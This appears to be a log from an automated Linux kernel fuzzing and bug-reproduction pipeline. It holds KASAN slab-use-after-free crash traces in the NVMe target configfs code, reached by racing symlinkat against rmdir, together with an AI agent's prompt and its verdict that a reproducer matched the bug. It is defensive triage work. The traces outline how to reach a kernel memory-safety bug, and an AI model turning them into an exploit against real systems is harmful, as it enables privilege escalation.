[   73.477380][ T5855]  __kasan_slab_free+0x5c/0x80
[   73.478882][ T5855]  kfree+0x1c5/0x640
[   73.480103][ T5855]  config_item_release+0x13a/0x2d0
[   73.481709][ T5855]  configfs_rmdir+0x885/0x950
[   73.483186][ T5855]  vfs_rmdir+0x3e6/0x6a0
[   73.484511][ T5855]  filename_rmdir+0x292/0x520
[   73.485967][ T5855]  __se_sys_rmdir+0x2e/0x140
[   73.487400][ T5855]  do_syscall_64+0x166/0x520
[   73.488858][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.490687][ T5855] 
[   73.491448][ T5855] The buggy address belongs to the object at ffff8881987a6000
[   73.491448][ T5855]  which belongs to the cache kmalloc-4k of size 4096
[   73.495732][ T5855] The buggy address is located 1224 bytes inside of
[   73.495732][ T5855]  freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)
[   73.499941][ T5855] 
[   73.500706][ T5855] The buggy address belongs to the physical page:
[   73.502711][ T5855] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
[   73.505455][ T5855] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   73.508058][ T5855] flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
[   73.510399][ T5855] page_type: f5(slab)
[   73.511659][ T5855] raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
[   73.514309][ T5855] raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
[   73.516948][ T5855] head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
[   73.519625][ T5855] head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
[   73.522266][ T5855] head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[   73.524946][ T5855] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[   73.527601][ T5855] page dumped because: kasan: bad access detected
[   73.529585][ T5855] page_owner tracks the page as allocated
[   73.531330][ T5855] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
[   73.537015][ T5855]  post_alloc_hook+0x1f9/0x250
[   73.538537][ T5855]  get_page_from_freelist+0x2209/0x2280
[   73.540245][ T5855]  __alloc_frozen_pages_noprof+0x217/0x5a0
[   73.542051][ T5855]  allocate_slab+0x7c/0x5e0
[   73.543489][ T5855]  refill_objects+0x2d5/0x350
[   73.544952][ T5855]  __pcs_replace_empty_main+0x2c3/0x6b0
[   73.546678][ T5855]  __kmalloc_cache_noprof+0x3ab/0x660
[   73.548338][ T5855]  kobject_uevent_env+0x289/0x9e0
[   73.549919][ T5855]  kernel_add_sysfs_param+0xb1/0xe0
[   73.551541][ T5855]  param_sysfs_builtin+0x199/0x250
[   73.553141][ T5855]  param_sysfs_builtin_init+0x23/0x30
[   73.554848][ T5855]  do_one_initcall+0x250/0x870
[   73.556354][ T5855]  do_initcall_level+0x10a/0x1a0
[   73.557897][ T5855]  do_initcalls+0x59/0xa0
[   73.559252][ T5855]  kernel_init_freeable+0x29d/0x3e0
[   73.560872][ T5855]  kernel_init+0x22/0x1d0
[   73.562234][ T5855] page last free pid 10 tgid 10 ts 15528039329 stack trace:
[   73.564501][ T5855]  free_pages_prepare+0x9b2/0xa90
[   73.566070][ T5855]  __free_contig_range_common+0x174/0x340
[   73.567850][ T5855]  free_pages_bulk+0x48/0x120
[   73.569334][ T5855]  vfree+0x226/0x4a0
[   73.570587][ T5855]  delayed_vfree_work+0x55/0x80
[   73.572102][ T5855]  process_scheduled_works+0xc3d/0x1630
[   73.573876][ T5855]  worker_thread+0x92d/0xe10
[   73.575325][ T5855]  kthread+0x38b/0x480
[   73.576612][ T5855]  ret_from_fork+0x514/0xb70
[   73.578056][ T5855]  ret_from_fork_asm+0x1a/0x30
[   73.579582][ T5855] 
[   73.580330][ T5855] Memory state around the buggy address:
[   73.582064][ T5855]  ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.584549][ T5855]  ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.587011][ T5855] >ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.589469][ T5855]                                               ^
[   73.591444][ T5855]  ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.593919][ T5855]  ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.596369][ T5855] ==================================================================
[   73.616968][ T5851] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000022: 0000 [#1] SMP KASAN NOPTI
[   73.620720][ T5851] KASAN: null-ptr-deref in range [0x0000000000000110-0x0000000000000117]
[   73.623316][ T5851] CPU: 1 UID: 0 PID: 5851 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
[   73.626267][ T5851] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   73.629375][ T5851] RIP: 0010:nvmet_port_subsys_allow_link+0x102/0x2e0
[   73.631439][ T5851] Code: 89 6c 24 10 49 89 1c 24 48 c7 c7 00 84 93 8f e8 64 be 5a 05 48 89 6c 24 08 48 81 c5 10 01 00 00 49 89 ec 4c 89 e0 48 c1 e8 03 <42> 80 3c 38 00 74 08 4c 89 e7 e8 7f 9e cc fb 4d 8b 24 24 49 39 ec
[   73.637343][ T5851] RSP: 0018:ffffc900032efc30 EFLAGS: 00010206
[   73.639243][ T5851] RAX: 0000000000000022 RBX: ffff888196dc2000 RCX: ffffffff9aa21501
[   73.641679][ T5851] RDX: 0000000000000001 RSI: 0000000000000008 RDI: 00000000ffffffff
[   73.644165][ T5851] RBP: 0000000000000110 R08: ffffffff8f93840f R09: 1ffffffff1f27081
[   73.646622][ T5851] R10: dffffc0000000000 R11: fffffbfff1f27082 R12: 0000000000000110
[   73.649050][ T5851] R13: ffff888190bb2800 R14: ffff888196dc2190 R15: dffffc0000000000
[   73.651491][ T5851] FS:  00007f912337b6c0(0000) GS:ffff8882e8492000(0000) knlGS:0000000000000000
[   73.654209][ T5851] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   73.656239][ T5851] CR2: 00007fcd9cf4f4e8 CR3: 00000001fd38b000 CR4: 0000000000352ef0
[   73.658713][ T5851] Call Trace:
[   73.659769][ T5851]  <TASK>
[   73.660700][ T5851]  configfs_symlink+0x59a/0x1030
[   73.662241][ T5851]  ? __pfx_configfs_symlink+0x10/0x10
[   73.663923][ T5851]  ? bpf_lsm_inode_symlink+0x9/0x20
[   73.665537][ T5851]  vfs_symlink+0x18b/0x330
[   73.666918][ T5851]  ? security_path_symlink+0xfd/0x360
[   73.668594][ T5851]  filename_symlinkat+0x1cd/0x410
[   73.670151][ T5851]  ? __pfx_filename_symlinkat+0x10/0x10
[   73.671860][ T5851]  ? do_getname+0x151/0x250
[   73.673303][ T5851]  __se_sys_symlinkat+0x4e/0x2b0
[   73.674861][ T5851]  do_syscall_64+0x166/0x520
[   73.676308][ T5851]  ? trace_irq_disable+0x3b/0x140
[   73.677875][ T5851]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.679764][ T5851]  ? clear_bhb_loop+0x70/0xc0
[   73.681244][ T5851]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.683073][ T5851] RIP: 0033:0x7f91233b0459
[   73.684495][ T5851] Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
[   73.690351][ T5851] RSP: 002b:00007f912337b1f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
[   73.692937][ T5851] RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
[   73.695369][ T5851] RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
[   73.697819][ T5851] RBP: 00007f912341d060 R08: 00007f912337b6c0 R09: 00007f912337b6c0
[   73.700268][ T5851] R10: 00007f912337b6c0 R11: 0000000000000246 R12: ffffffffffffffd0
[   73.701719][ T5855] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   73.705640][ T5855] Kernel Offset: disabled
[   73.706987][ T5855] Rebooting in 86400 seconds..
 TruncatedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855

CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x410 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f91233b0459
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
 </TASK>

Allocated by task 5852:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x331/0x660 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x40c/0x620 fs/namei.c:5410
 filename_mkdirat+0x285/0x510 fs/namei.c:5443
 __do_sys_mkdir fs/namei.c:5470 [inline]
 __se_sys_mkdir+0x34/0x150 fs/namei.c:5467
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5854:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x640 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e6/0x6a0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_rmdir fs/namei.c:5595 [inline]
 __se_sys_rmdir+0x2e/0x140 fs/namei.c:5592
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff8881987a6000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x2c3/0x6b0 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __kmalloc_cache_noprof+0x3ab/0x660 mm/slub.c:5480
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 kobject_uevent_env+0x289/0x9e0 lib/kobject_uevent.c:543
 kernel_add_sysfs_param+0xb1/0xe0 kernel/params.c:803
 param_sysfs_builtin+0x199/0x250 kernel/params.c:838
 param_sysfs_builtin_init+0x23/0x30 kernel/params.c:974
 do_one_initcall+0x250/0x870 init/main.c:1353
 do_initcall_level+0x10a/0x1a0 init/main.c:1415
 do_initcalls+0x59/0xa0 init/main.c:1431
 kernel_init_freeable+0x29d/0x3e0 init/main.c:1666
 kernel_init+0x22/0x1d0 init/main.c:1556
page last free pid 10 tgid 10 ts 15528039329 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 free_pages_prepare+0x9b2/0xa90 mm/page_alloc.c:1463
 __free_contig_range_common+0x174/0x340 mm/page_alloc.c:7060
 __free_contig_range mm/page_alloc.c:7105 [inline]
 free_pages_bulk+0x48/0x120 mm/page_alloc.c:5322
 vm_area_free_pages mm/vmalloc.c:3462 [inline]
 vfree+0x226/0x4a0 mm/vmalloc.c:3511
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3415
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0x92d/0xe10 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
 TruncatedStraceOutput:]

264/3 2026/08/26 18:34 agent repro-oracle
0m Model:
deep-reasoning

Results:
map[Feedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link. The crash signature and stack trace match the original bug description exactly. ProbePassed:false TerminalError: TitleMatches:true]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
   - Determine if the triggered crash matches the expected bug.
   - If you conclude they represent the same underlying bug (the same root cause)
     despite different titles, crash signatures, or call traces, set TitleMatches
     to true and provide a detailed, technical, and verbose explanation of the
     equivalence in the 'Feedback' field.
   - If they do not represent the same bug (a completely unrelated crash/collision),
     set TitleMatches to false and explain the collision in 'Feedback'.
   - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
   - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
     to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
     and provide feedback on how to improve the reproducer logic to trigger the crash.

Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
   the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
   or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

IsProbe: false
Reproduced: true
Console Output: [   69.551455][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   69.551466][   T32] audit: type=1400 audit(1787769237.324:201): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.561381][   T32] audit: type=1400 audit(1787769237.324:202): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.567392][   T32] audit: type=1400 audit(1787769237.324:203): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
